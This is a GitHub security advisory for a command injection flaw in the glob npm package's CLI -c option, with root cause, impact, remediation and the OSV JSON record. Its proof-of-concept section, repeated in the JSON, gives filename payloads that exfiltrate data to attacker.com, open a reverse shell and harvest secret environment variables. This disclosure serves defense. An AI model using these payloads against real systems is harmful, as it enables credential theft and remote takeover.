ghsa-5j98-mcp5-4vw2
Vulnerability from github
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
- Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
- Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using glob -c on untrusted content
PoC
Setup Malicious File: ```bash mkdir test_directory && cd test_directory
Create file with command injection payload in filename
touch '$(touch injected_poc)' ```
Trigger Vulnerability: ```bash
Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "*/" ```
Result:
- The echo command executes normally
- Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
- A new file injected_poc is created, proving command execution
- Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration: ```bash
Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ```
Reverse Shell: ```bash
Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ```
Environment Variable Harvesting: ```bash
Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ```
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses glob -c to process files (linting, testing, deployment)
- Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use glob -c for file processing
- Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption) - Patched versions: 11.1.0and 10.5.0
Scope Limitation:
- Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
- CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible. - If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead. - As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "glob"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "glob"
},
"ranges": [
{
"events": [
{
"introduced": "10.2.0"
},
{
"fixed": "10.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64756"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-17T17:38:56Z",
"nvd_published_at": "2025-11-17T18:15:58Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c \u003ccommand\u003e \u003cpatterns\u003e` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:\n\n```javascript\nstream.on(\u0027end\u0027, () =\u003e foregroundChild(cmd, matches, { shell: true }))\n```\n\n**Technical Flow:**\n1. User runs `glob -c \u003ccommand\u003e \u003cpattern\u003e` \n2. CLI finds files matching the pattern\n3. Matched filenames are collected into an array\n4. Command is executed with matched filenames as arguments using `shell: true`\n5. Shell interprets metacharacters in filenames as command syntax\n6. Malicious filenames execute arbitrary commands\n\n**Affected Component:**\n- **CLI Only:** The vulnerability affects only the command-line interface\n- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected\n- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)\n\n**Attack Surface:**\n- Files with names containing shell metacharacters: `$()`, backticks, `;`, `\u0026`, `|`, etc.\n- Any directory where attackers can control filenames (PR branches, archives, user uploads)\n- CI/CD pipelines using `glob -c` on untrusted content\n\n### PoC\n\n**Setup Malicious File:**\n```bash\nmkdir test_directory \u0026\u0026 cd test_directory\n\n# Create file with command injection payload in filename\ntouch \u0027$(touch injected_poc)\u0027\n```\n\n**Trigger Vulnerability:**\n```bash\n# Run glob CLI with -c option\nnode /path/to/glob/dist/esm/bin.mjs -c echo \"**/*\"\n```\n\n**Result:**\n- The echo command executes normally\n- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell\n- A new file `injected_poc` is created, proving command execution\n- Any command can be injected this way with full user privileges\n\n**Advanced Payload Examples:**\n\n**Data Exfiltration:**\n```bash\n# Filename: $(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\ntouch \u0027$(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\u0027\n```\n\n**Reverse Shell:**\n```bash\n# Filename: $(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\ntouch \u0027$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\u0027\n```\n\n**Environment Variable Harvesting:**\n```bash\n# Filename: $(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\ntouch \u0027$(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\u0027\n```\n\n### Impact\n\n**Arbitrary Command Execution:**\n- Commands execute with full privileges of the user running glob CLI\n- No privilege escalation required - runs as current user\n- Access to environment variables, file system, and network\n\n**Real-World Attack Scenarios:**\n\n**1. CI/CD Pipeline Compromise:**\n- Malicious PR adds files with crafted names to repository\n- CI pipeline uses `glob -c` to process files (linting, testing, deployment)\n- Commands execute in CI environment with build secrets and deployment credentials\n- Potential for supply chain compromise through artifact tampering\n\n**2. Developer Workstation Attack:**\n- Developer clones repository or extracts archive containing malicious filenames\n- Local build scripts use `glob -c` for file processing\n- Developer machine compromise with access to SSH keys, tokens, local services\n\n**3. Automated Processing Systems:**\n- Services using glob CLI to process uploaded files or external content\n- File uploads with malicious names trigger command execution\n- Server-side compromise with potential for lateral movement\n\n**4. Supply Chain Poisoning:**\n- Malicious packages or themes include files with crafted names\n- Build processes using glob CLI automatically process these files\n- Wide distribution of compromise through package ecosystems\n\n**Platform-Specific Risks:**\n- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing\n- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL\n- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** glob\n- **Component:** CLI only (`src/bin.mts`)\n- **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched)\n- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option)\n- **Patched versions:** 11.1.0and 10.5.0\n\n**Scope Limitation:**\n- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe\n- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable\n\n### Remediation\n\n- Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible.\n- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.\n- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.",
"id": "GHSA-5j98-mcp5-4vw2",
"modified": "2025-11-19T02:30:52Z",
"published": "2025-11-17T17:38:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-glob"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "glob CLI: Command injection via -c/--cmd executes matches with shell:true"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.